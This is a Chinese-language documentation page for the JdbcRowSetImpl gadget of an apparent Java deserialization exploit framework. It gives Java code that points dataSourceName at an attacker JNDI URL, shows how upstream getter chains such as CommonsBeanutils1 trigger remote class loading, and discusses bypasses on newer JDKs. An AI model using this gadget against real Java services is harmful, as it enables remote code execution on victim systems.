- 类别:javanative 别名:— 优先级:20
- 作者:—
- 依赖:
jdk(JDK 内置,com.sun.rowset.JdbcRowSetImpl)
构造一个 com.sun.rowset.JdbcRowSetImpl,其 dataSourceName 被设为攻击者可控的 JNDI URL。当上游 gadget 调用它的 getter(getDatabaseMetaData,即触发属性 databaseMetaData 的读取)时,JdbcRowSetImpl 会执行 InitialContext.lookup(jndiUrl),导致 JNDI 注入 / 远程类加载。是最经典的 JDK 自带 getter 型 sink(链尾)。
- 入口
tags:JdbcRowSetImplChain、Getter、END—— 承接任意「会调用内层对象 getter」的上一环(如 CommonsBeanutils1 的 BeanComparator、JacksonToString 的 POJONode);END表示它是链的终点。 - 衔接
nextTags:无(终点 sink)。 excludes:无。
@Param(name="jndiUrl", description="jndi lookup url, like ldap://xxxx:1389/xxx")
public String jndiUrl = "ldap://127.0.0.1:1389/x";
String paramName = "databaseMetaData"; // 要触发的属性名
String methodName = "getDatabaseMetaData"; // 对应 getter
public com.sun.rowset.JdbcRowSetImpl getObject() throws Exception {
com.sun.rowset.JdbcRowSetImpl jdbcRowSet = new com.sun.rowset.JdbcRowSetImpl();
jdbcRowSet.setDataSourceName(this.jndiUrl); // 把 JNDI URL 写入 dataSourceName
return jdbcRowSet;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, this.methodName);
context.put(ContextTag.GETTER_PARAM_NAME_KEY, this.paramName); // 告知上游要触发的属性名
context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, this.methodName);
return this.getObject();
}关键点:
invoke通过context.put(GETTER_PARAM_NAME_KEY, "databaseMetaData")把要触发的属性名回填进链上下文——上游的 getter 触发器(如 CommonsBeanutils1 的BeanComparator.property)会从该 key 读取,从而知道该调用哪个 getter,实现「可插拔的 getter 名」。这与 CommonsBeanutils1 中property = context.getString(GETTER_PARAM_NAME_KEY)正好对接。getObject不主动触发 lookup,仅设置好dataSourceName;真正的InitialContext.lookup(dataSourceName)发生在受害端调用getDatabaseMetaData()时——该 getter 内部走connect()→InitialContext.lookup。- 由于它自身没有
readObject,必须依赖上游触发 getter,故tags含Getter。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
jndiUrl |
jndiUrl | JNDI lookup 地址,如 ldap://xxxx:1389/xxx |
ldap://127.0.0.1:1389/x |
任意 URL |
(paramName=databaseMetaData、methodName=getDatabaseMetaData 为内部固定字段,非用户可配。)
- 依赖 JDK 内置
com.sun.rowset.JdbcRowSetImpl,无第三方依赖。 - 最终效果为 JNDI 注入:受高版本 JDK 的 JNDI trust URL 限制(
com.sun.jndi.ldap.object.trustURLCodebase默认 false 后,远程 codebase 加载被封),高版本需配合本地 factory / 反序列化型 JNDI 利用绕过;但作为纯 getter sink,其触发本身不挑 JDK 版本。 - 相比 TemplatesImpl(需
defineClass、受 JDK 17 模块限制),JNDI 路线对 JDK 版本更宽容,是 CB1/CB2 等 getter 链常配的另一条出口。
- CB1 JNDI链1(
[CommonsBeanutils1, JdbcRowSetImpl])
- 上游(
tags=Getter,提供 getter 触发):CommonsBeanutils1、CommonsBeanutils2、JacksonToString。 - 同类出口(getter/JNDI 型 sink):
LdapAttribute、Oracle 系列OracleJDBCRowSet/OracleWebRowSet等 RowSet。